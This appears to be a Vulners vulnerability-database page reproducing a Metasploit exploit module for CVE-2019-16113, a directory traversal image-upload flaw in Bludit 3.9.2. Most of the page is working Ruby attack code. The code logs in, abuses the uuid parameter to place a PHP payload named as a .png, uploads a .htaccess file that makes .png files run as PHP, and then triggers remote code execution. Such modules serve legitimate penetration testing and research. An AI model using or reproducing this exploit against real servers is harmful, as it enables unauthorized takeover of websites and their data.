Lucene search
K

Bludit - Directory Traversal Image File Upload (Metasploit)

🗓️ 20 Nov 2019 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 373 Views

Bludit - Directory Traversal Image File Upload Vulnerability. Exploits vulnerability in Bludit to save malicious payload via image upload, bypass file extension check, and achieve remote code execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Bludit - Directory Traversal Image File Upload Exploit
20 Nov 201900:00
zdt
0day.today
Bludit 3.9.12 - Directory Traversal Vulnerability
9 Jun 202000:00
zdt
0day.today
Bludit 3.9.2 - Directory Traversal Exploit
27 Jul 202000:00
zdt
GithubExploit
Exploit for CVE-2016-16113
7 Jan 202618:57
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
4 Jun 202016:06
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
9 Jun 202012:39
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
3 Jun 202015:49
githubexploit
GithubExploit
Exploit for Path Traversal in Bludit
3 Jul 202008:37
githubexploit
ATTACKERKB
Bludit 3.9.2 remote code execution
8 Sep 201900:00
attackerkb
Circl
CVE-2019-16113
12 Nov 201921:52
circl
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Bludit Directory Traversal Image File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
        parameter in the image upload feature in order to save a malicious payload anywhere
        onto the server, and then use a custom .htaccess file to bypass the file extension
        check to finally get remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'christasa', # Original discovery
          'sinn3r'     # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2019-16113'],
          ['URL', 'https://github.com/bludit/bludit/issues/1081'],
          ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
        ],
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Targets'        =>
        [
          [ 'Bludit v3.9.2', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "2019-09-07",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
        OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
        OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
      ])
  end

  class PhpPayload
    attr_reader :payload
    attr_reader :name

    def initialize(p)
      @payload = p
      @name = "#{Rex::Text.rand_text_alpha(10)}.png"
    end
  end

  class LoginBadge
    attr_reader   :username
    attr_reader   :password
    attr_accessor :csrf_token
    attr_accessor :bludit_key

    def initialize(user, pass, token, key)
      @username = user
      @password = pass
      @csrf_token = token
      @bludit_key = key
    end
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'index.php')
    })

    unless res
      vprint_error('Connection timed out')
      return CheckCode::Unknown
    end

    html = res.get_html_document
    generator_tag = html.at('meta[@name="generator"]')
    unless generator_tag
      vprint_error('No generator metadata tag found in HTML')
      return CheckCode::Safe
    end

    content_attr = generator_tag.attributes['content']
    unless content_attr
      vprint_error("No content attribute found in metadata tag")
      return CheckCode::Safe
    end

    if content_attr.value == 'Bludit'
      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def get_uuid(login_badge)
    print_status('Retrieving UUID...')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
      'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    html = res.get_html_document
    uuid_element = html.at('input[@name="uuid"]')
    unless uuid_element
      fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
    end

    uuid_val = uuid_element.attributes['value']
    unless uuid_val && uuid_val.respond_to?(:value)
      fail_with(Failure::Unknown, 'No UUID value')
    end

    uuid_val.value
  end

  def upload_file(login_badge, uuid, content, fname)
    print_status("Uploading #{fname}...")

    data = Rex::MIME::Message.new
    data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
    data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
    data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'cookie'  => "BLUDIT-KEY=#{login_badge.bludit_key};",
      'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
      'data'    => data.to_s
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end
  end

  def upload_php_payload_and_exec(login_badge)
    # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
    # To: /var/www/html/bludit/bl-content/tmp
    uuid = get_uuid(login_badge)
    php_payload = get_php_payload
    upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)

    # On the vuln app, this line occurs first:
    # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
    # Even though there is a file extension check, it won't really stop us
    # from uploading the .htaccess file.
    htaccess = <<~HTA
    RewriteEngine off
    AddType application/x-httpd-php .png
    HTA
    upload_file(login_badge, uuid, htaccess, ".htaccess")
    register_file_for_cleanup('.htaccess')

    print_status("Executing #{php_payload.name}...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
    })
  end

  def get_php_payload
    @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
  end

  def get_login_badge(res)
    cookies = res.get_cookies
    bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''

    html = res.get_html_document
    csrf_element = html.at('input[@name="tokenCSRF"]')
    unless csrf_element
      fail_with(Failure::Unknown, 'No tokenCSRF found')
    end

    csrf_val = csrf_element.attributes['value']
    unless csrf_val && csrf_val.respond_to?(:value)
      fail_with(Failure::Unknown, 'No tokenCSRF value')
    end

    LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
  end

  def do_login
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'index.php')
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    login_badge = get_login_badge(res)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'admin', 'index.php'),
      'cookie'    => "BLUDIT-KEY=#{login_badge.bludit_key};",
      'vars_post' =>
        {
          'tokenCSRF' => login_badge.csrf_token,
          'username'  => login_badge.username,
          'password'  => login_badge.password
        }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    # A new csrf value is generated, need to update this for the upload
    if res.headers['Location'].to_s.include?('/admin/dashboard')
      store_valid_credential(user: login_badge.username, private: login_badge.password)
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
        'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
      })

      unless res
        fail_with(Failure::Unknown, 'Connection timed out')
      end

      new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
      login_badge.csrf_token = new_csrf if new_csrf
      return login_badge
    end

    fail_with(Failure::NoAccess, 'Authentication failed')
  end

  def exploit
    login_badge = do_login
    print_good("Logged in as: #{login_badge.username}")
    upload_php_payload_and_exec(login_badge)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Nov 2019 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 26.5
CVSS 3.18.8
EPSS0.88964
373